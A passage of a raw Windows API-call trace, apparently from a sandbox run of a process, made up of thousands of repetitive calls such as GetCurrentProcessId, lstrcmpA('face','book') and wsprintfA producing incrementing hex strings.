GetCurrentProcessId () returned 0x81c [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] lstrlenA (lpString="just string") returned 11 [0050.864] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.864] GetLastError () returned 0x12 [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] lstrlenA (lpString="just string") returned 11 [0050.864] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.864] GetLastError () returned 0x12 [0050.864] lstrlenA (lpString="just string") returned 11 [0050.864] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.864] GetLastError () returned 0x12 [0050.864] GetCurrentProcess () returned 0xffffffff [0050.864] GetLastError () returned 0x12 [0050.864] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21381P") returned 6 [0050.864] SetLastError (dwErrCode=0x12) [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] GetLastError () returned 0x12 [0050.864] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21382P") returned 6 [0050.864] SetLastError (dwErrCode=0x12) [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] GetCurrentProcessId () returned 0x81c [0050.864] lstrlenA (lpString="just string") returned 11 [0050.864] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.864] GetLastError () returned 0x12 [0050.865] GetLastError () returned 0x12 [0050.865] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.865] SetLastError (dwErrCode=0x12) [0050.865] GetCurrentProcess () returned 0xffffffff [0050.865] GetLastError () returned 0x12 [0050.865] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="213B2P") returned 6 [0050.865] SetLastError (dwErrCode=0x12) [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] GetCurrentProcess () returned 0xffffffff [0050.865] GetLastError () returned 0x12 [0050.865] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="213B3P") returned 6 [0050.865] SetLastError (dwErrCode=0x12) [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] GetLastError () returned 0x12 [0050.865] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="213B4P") returned 6 [0050.865] SetLastError (dwErrCode=0x12) [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] lstrlenA (lpString="just string") returned 11 [0050.865] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.865] GetLastError () returned 0x12 [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] lstrlenA (lpString="just string") returned 11 [0050.865] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.865] GetLastError () returned 0x12 [0050.865] lstrlenA (lpString="just string") returned 11 [0050.865] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.865] GetLastError () returned 0x12 [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] lstrlenA (lpString="just string") returned 11 [0050.865] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.865] GetLastError () returned 0x12 [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] lstrlenA (lpString="just string") returned 11 [0050.865] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.865] GetLastError () returned 0x12 [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] lstrlenA (lpString="just string") returned 11 [0050.865] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.865] GetLastError () returned 0x12 [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] lstrlenA (lpString="just string") returned 11 [0050.865] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.865] GetLastError () returned 0x12 [0050.865] GetCurrentProcessId () returned 0x81c [0050.865] lstrlenA (lpString="just string") returned 11 [0050.865] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.865] GetLastError () returned 0x12 [0050.865] GetLastError () returned 0x12 [0050.865] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.865] SetLastError (dwErrCode=0x12) [0050.865] GetCurrentProcess () returned 0xffffffff [0050.865] GetLastError () returned 0x12 [0050.866] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="214FCP") returned 6 [0050.866] SetLastError (dwErrCode=0x12) [0050.866] GetCurrentProcessId () returned 0x81c [0050.866] GetCurrentProcess () returned 0xffffffff [0050.866] GetLastError () returned 0x12 [0050.866] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="214FDP") returned 6 [0050.866] SetLastError (dwErrCode=0x12) [0050.866] GetCurrentProcessId () returned 0x81c [0050.866] GetLastError () returned 0x12 [0050.866] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="214FEP") returned 6 [0050.866] SetLastError (dwErrCode=0x12) [0050.866] GetCurrentProcessId () returned 0x81c [0050.866] GetCurrentProcessId () returned 0x81c [0050.866] GetCurrentProcessId () returned 0x81c [0050.866] GetCurrentProcessId () returned 0x81c [0050.866] lstrlenA (lpString="just string") returned 11 [0050.866] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.866] GetLastError () returned 0x12 [0050.866] GetLastError () returned 0x12 [0050.866] GetLastError () returned 0x12 [0050.866] GetCurrentProcessId () returned 0x81c [0050.866] GetCurrentProcessId () returned 0x81c [0050.866] GetCurrentProcessId () returned 0x81c [0050.866] lstrlenA (lpString="just string") returned 11 [0050.866] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.866] GetLastError () returned 0x12 [0050.866] lstrlenA (lpString="just string") returned 11 [0050.867] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.867] GetLastError () returned 0x12 [0050.867] GetLastError () returned 0x12 [0050.867] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21620P") returned 6 [0050.867] SetLastError (dwErrCode=0x12) [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] lstrlenA (lpString="just string") returned 11 [0050.867] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.867] GetLastError () returned 0x12 [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] lstrlenA (lpString="just string") returned 11 [0050.867] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.867] GetLastError () returned 0x12 [0050.867] GetLastError () returned 0x12 [0050.867] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2167AP") returned 6 [0050.867] SetLastError (dwErrCode=0x12) [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] lstrlenA (lpString="just string") returned 11 [0050.867] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.867] GetLastError () returned 0x12 [0050.867] GetLastError () returned 0x12 [0050.867] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.867] SetLastError (dwErrCode=0x12) [0050.867] GetCurrentProcess () returned 0xffffffff [0050.867] GetLastError () returned 0x12 [0050.867] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21696P") returned 6 [0050.867] SetLastError (dwErrCode=0x12) [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] GetCurrentProcess () returned 0xffffffff [0050.867] GetLastError () returned 0x12 [0050.867] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21697P") returned 6 [0050.867] SetLastError (dwErrCode=0x12) [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] GetLastError () returned 0x12 [0050.867] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21698P") returned 6 [0050.867] SetLastError (dwErrCode=0x12) [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] lstrlenA (lpString="just string") returned 11 [0050.867] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.867] GetLastError () returned 0x12 [0050.867] GetCurrentProcessId () returned 0x81c [0050.867] lstrlenA (lpString="just string") returned 11 [0050.867] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.867] GetLastError () returned 0x12 [0050.867] GetLastError () returned 0x12 [0050.867] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.868] SetLastError (dwErrCode=0x12) [0050.868] GetCurrentProcess () returned 0xffffffff [0050.868] GetLastError () returned 0x12 [0050.868] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="216E6P") returned 6 [0050.868] SetLastError (dwErrCode=0x12) [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetCurrentProcess () returned 0xffffffff [0050.868] GetLastError () returned 0x12 [0050.868] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="216E7P") returned 6 [0050.868] SetLastError (dwErrCode=0x12) [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetLastError () returned 0x12 [0050.868] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="216E8P") returned 6 [0050.868] SetLastError (dwErrCode=0x12) [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] lstrlenA (lpString="just string") returned 11 [0050.868] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.868] GetLastError () returned 0x12 [0050.868] GetLastError () returned 0x12 [0050.868] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21710P") returned 6 [0050.868] SetLastError (dwErrCode=0x12) [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] lstrlenA (lpString="just string") returned 11 [0050.868] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.868] GetLastError () returned 0x12 [0050.868] GetCurrentProcess () returned 0xffffffff [0050.868] GetLastError () returned 0x12 [0050.868] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21755P") returned 6 [0050.868] SetLastError (dwErrCode=0x12) [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetLastError () returned 0x12 [0050.868] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21756P") returned 6 [0050.868] SetLastError (dwErrCode=0x12) [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] lstrlenA (lpString="just string") returned 11 [0050.868] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.868] GetLastError () returned 0x12 [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] lstrlenA (lpString="just string") returned 11 [0050.868] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.868] GetLastError () returned 0x12 [0050.868] GetLastError () returned 0x12 [0050.868] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.868] SetLastError (dwErrCode=0x12) [0050.868] GetCurrentProcess () returned 0xffffffff [0050.868] GetLastError () returned 0x12 [0050.868] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="217AEP") returned 6 [0050.868] SetLastError (dwErrCode=0x12) [0050.868] GetCurrentProcessId () returned 0x81c [0050.868] GetCurrentProcess () returned 0xffffffff [0050.868] GetLastError () returned 0x12 [0050.868] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="217AFP") returned 6 [0050.869] SetLastError (dwErrCode=0x12) [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] GetLastError () returned 0x12 [0050.869] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="217B0P") returned 6 [0050.869] SetLastError (dwErrCode=0x12) [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] lstrlenA (lpString="just string") returned 11 [0050.869] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.869] GetLastError () returned 0x12 [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] lstrlenA (lpString="just string") returned 11 [0050.869] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.869] GetLastError () returned 0x12 [0050.869] GetLastError () returned 0x12 [0050.869] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.869] SetLastError (dwErrCode=0x12) [0050.869] GetCurrentProcess () returned 0xffffffff [0050.869] GetLastError () returned 0x12 [0050.869] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21858P") returned 6 [0050.869] SetLastError (dwErrCode=0x12) [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] GetCurrentProcess () returned 0xffffffff [0050.869] GetLastError () returned 0x12 [0050.869] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21859P") returned 6 [0050.869] SetLastError (dwErrCode=0x12) [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] GetLastError () returned 0x12 [0050.869] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2185AP") returned 6 [0050.869] SetLastError (dwErrCode=0x12) [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] lstrlenA (lpString="just string") returned 11 [0050.869] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.869] GetLastError () returned 0x12 [0050.869] GetCurrentProcess () returned 0xffffffff [0050.869] GetLastError () returned 0x12 [0050.869] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2188BP") returned 6 [0050.869] SetLastError (dwErrCode=0x12) [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] GetLastError () returned 0x12 [0050.869] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2188CP") returned 6 [0050.869] SetLastError (dwErrCode=0x12) [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] GetCurrentProcessId () returned 0x81c [0050.869] lstrlenA (lpString="just string") returned 11 [0050.869] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.869] GetLastError () returned 0x12 [0050.869] GetLastError () returned 0x12 [0050.869] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.869] SetLastError (dwErrCode=0x12) [0050.869] GetCurrentProcess () returned 0xffffffff [0050.870] GetLastError () returned 0x12 [0050.870] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21894P") returned 6 [0050.870] SetLastError (dwErrCode=0x12) [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] GetCurrentProcess () returned 0xffffffff [0050.870] GetLastError () returned 0x12 [0050.870] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21895P") returned 6 [0050.870] SetLastError (dwErrCode=0x12) [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] GetLastError () returned 0x12 [0050.870] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21896P") returned 6 [0050.870] SetLastError (dwErrCode=0x12) [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] lstrlenA (lpString="just string") returned 11 [0050.870] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.870] GetLastError () returned 0x12 [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] lstrlenA (lpString="just string") returned 11 [0050.870] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.870] GetLastError () returned 0x12 [0050.870] lstrlenA (lpString="just string") returned 11 [0050.870] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.870] GetLastError () returned 0x12 [0050.870] GetLastError () returned 0x12 [0050.870] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.870] SetLastError (dwErrCode=0x12) [0050.870] GetCurrentProcess () returned 0xffffffff [0050.870] GetLastError () returned 0x12 [0050.870] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2192AP") returned 6 [0050.870] SetLastError (dwErrCode=0x12) [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] GetCurrentProcess () returned 0xffffffff [0050.870] GetLastError () returned 0x12 [0050.870] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2192BP") returned 6 [0050.870] SetLastError (dwErrCode=0x12) [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] GetLastError () returned 0x12 [0050.870] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2192CP") returned 6 [0050.870] SetLastError (dwErrCode=0x12) [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] lstrlenA (lpString="just string") returned 11 [0050.870] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.870] GetLastError () returned 0x12 [0050.870] lstrlenA (lpString="just string") returned 11 [0050.870] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.870] GetLastError () returned 0x12 [0050.870] GetCurrentProcessId () returned 0x81c [0050.870] lstrlenA (lpString="just string") returned 11 [0050.870] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.870] GetLastError () returned 0x12 [0050.870] GetCurrentProcess () returned 0xffffffff [0050.870] GetLastError () returned 0x12 [0050.870] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2197BP") returned 6 [0050.871] SetLastError (dwErrCode=0x12) [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetLastError () returned 0x12 [0050.871] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2197CP") returned 6 [0050.871] SetLastError (dwErrCode=0x12) [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] lstrlenA (lpString="just string") returned 11 [0050.871] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.871] GetLastError () returned 0x12 [0050.871] GetLastError () returned 0x12 [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] lstrlenA (lpString="just string") returned 11 [0050.871] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.871] GetLastError () returned 0x12 [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] lstrlenA (lpString="just string") returned 11 [0050.871] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.871] GetLastError () returned 0x12 [0050.871] GetLastError () returned 0x12 [0050.871] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21A76P") returned 6 [0050.871] SetLastError (dwErrCode=0x12) [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] lstrlenA (lpString="just string") returned 11 [0050.871] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.871] GetLastError () returned 0x12 [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] lstrlenA (lpString="just string") returned 11 [0050.871] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.871] GetLastError () returned 0x12 [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] lstrlenA (lpString="just string") returned 11 [0050.871] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.871] GetLastError () returned 0x12 [0050.871] lstrlenA (lpString="just string") returned 11 [0050.871] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.871] GetLastError () returned 0x12 [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] lstrlenA (lpString="just string") returned 11 [0050.871] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.871] GetLastError () returned 0x12 [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] lstrlenA (lpString="just string") returned 11 [0050.871] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.871] GetLastError () returned 0x12 [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] GetCurrentProcessId () returned 0x81c [0050.871] lstrlenA (lpString="just string") returned 11 [0050.871] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.871] GetLastError () returned 0x12 [0050.871] lstrlenA (lpString="just string") returned 11 [0050.871] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.871] GetLastError () returned 0x12 [0050.871] GetCurrentProcessId () returned 0x81c [0050.872] lstrlenA (lpString="just string") returned 11 [0050.872] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.872] GetLastError () returned 0x12 [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] lstrlenA (lpString="just string") returned 11 [0050.872] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.872] GetLastError () returned 0x12 [0050.872] lstrlenA (lpString="just string") returned 11 [0050.872] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.872] GetLastError () returned 0x12 [0050.872] GetLastError () returned 0x12 [0050.872] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21C10P") returned 6 [0050.872] SetLastError (dwErrCode=0x12) [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] lstrlenA (lpString="just string") returned 11 [0050.872] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.872] GetLastError () returned 0x12 [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] lstrlenA (lpString="just string") returned 11 [0050.872] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.872] GetLastError () returned 0x12 [0050.872] GetLastError () returned 0x12 [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] lstrlenA (lpString="just string") returned 11 [0050.872] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.872] GetLastError () returned 0x12 [0050.872] GetLastError () returned 0x12 [0050.872] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.872] SetLastError (dwErrCode=0x12) [0050.872] GetCurrentProcess () returned 0xffffffff [0050.872] GetLastError () returned 0x12 [0050.872] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21C9AP") returned 6 [0050.872] SetLastError (dwErrCode=0x12) [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetCurrentProcess () returned 0xffffffff [0050.872] GetLastError () returned 0x12 [0050.872] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21C9BP") returned 6 [0050.872] SetLastError (dwErrCode=0x12) [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetLastError () returned 0x12 [0050.872] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21C9CP") returned 6 [0050.872] SetLastError (dwErrCode=0x12) [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] GetCurrentProcessId () returned 0x81c [0050.872] lstrlenA (lpString="just string") returned 11 [0050.872] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.872] GetLastError () returned 0x12 [0050.872] GetLastError () returned 0x12 [0050.872] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.873] SetLastError (dwErrCode=0x12) [0050.873] GetCurrentProcess () returned 0xffffffff [0050.873] GetLastError () returned 0x12 [0050.873] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21CAEP") returned 6 [0050.873] SetLastError (dwErrCode=0x12) [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] GetCurrentProcess () returned 0xffffffff [0050.873] GetLastError () returned 0x12 [0050.873] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21CAFP") returned 6 [0050.873] SetLastError (dwErrCode=0x12) [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] GetLastError () returned 0x12 [0050.873] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21CB0P") returned 6 [0050.873] SetLastError (dwErrCode=0x12) [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] lstrlenA (lpString="just string") returned 11 [0050.873] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.873] GetLastError () returned 0x12 [0050.873] GetCurrentProcess () returned 0xffffffff [0050.873] GetLastError () returned 0x12 [0050.873] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21CCDP") returned 6 [0050.873] SetLastError (dwErrCode=0x12) [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] GetLastError () returned 0x12 [0050.873] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21CCEP") returned 6 [0050.873] SetLastError (dwErrCode=0x12) [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] lstrlenA (lpString="just string") returned 11 [0050.873] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.873] GetLastError () returned 0x12 [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] lstrlenA (lpString="just string") returned 11 [0050.873] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.873] GetLastError () returned 0x12 [0050.873] GetLastError () returned 0x12 [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] lstrlenA (lpString="just string") returned 11 [0050.873] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.873] GetLastError () returned 0x12 [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] GetCurrentProcessId () returned 0x81c [0050.873] lstrlenA (lpString="just string") returned 11 [0050.873] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.873] GetLastError () returned 0x12 [0050.873] GetLastError () returned 0x12 [0050.873] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.873] SetLastError (dwErrCode=0x12) [0050.873] GetCurrentProcess () returned 0xffffffff [0050.873] GetLastError () returned 0x12 [0050.873] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21DB2P") returned 6 [0050.873] SetLastError (dwErrCode=0x12) [0050.873] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcess () returned 0xffffffff [0050.874] GetLastError () returned 0x12 [0050.874] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21DB3P") returned 6 [0050.874] SetLastError (dwErrCode=0x12) [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetLastError () returned 0x12 [0050.874] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21DB4P") returned 6 [0050.874] SetLastError (dwErrCode=0x12) [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] lstrlenA (lpString="just string") returned 11 [0050.874] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.874] GetLastError () returned 0x12 [0050.874] GetLastError () returned 0x12 [0050.874] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="21DD2P") returned 6 [0050.874] SetLastError (dwErrCode=0x12) [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] lstrlenA (lpString="just string") returned 11 [0050.874] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.874] GetLastError () returned 0x12 [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcessId () returned 0x81c [0050.874] GetCurrentProcessId 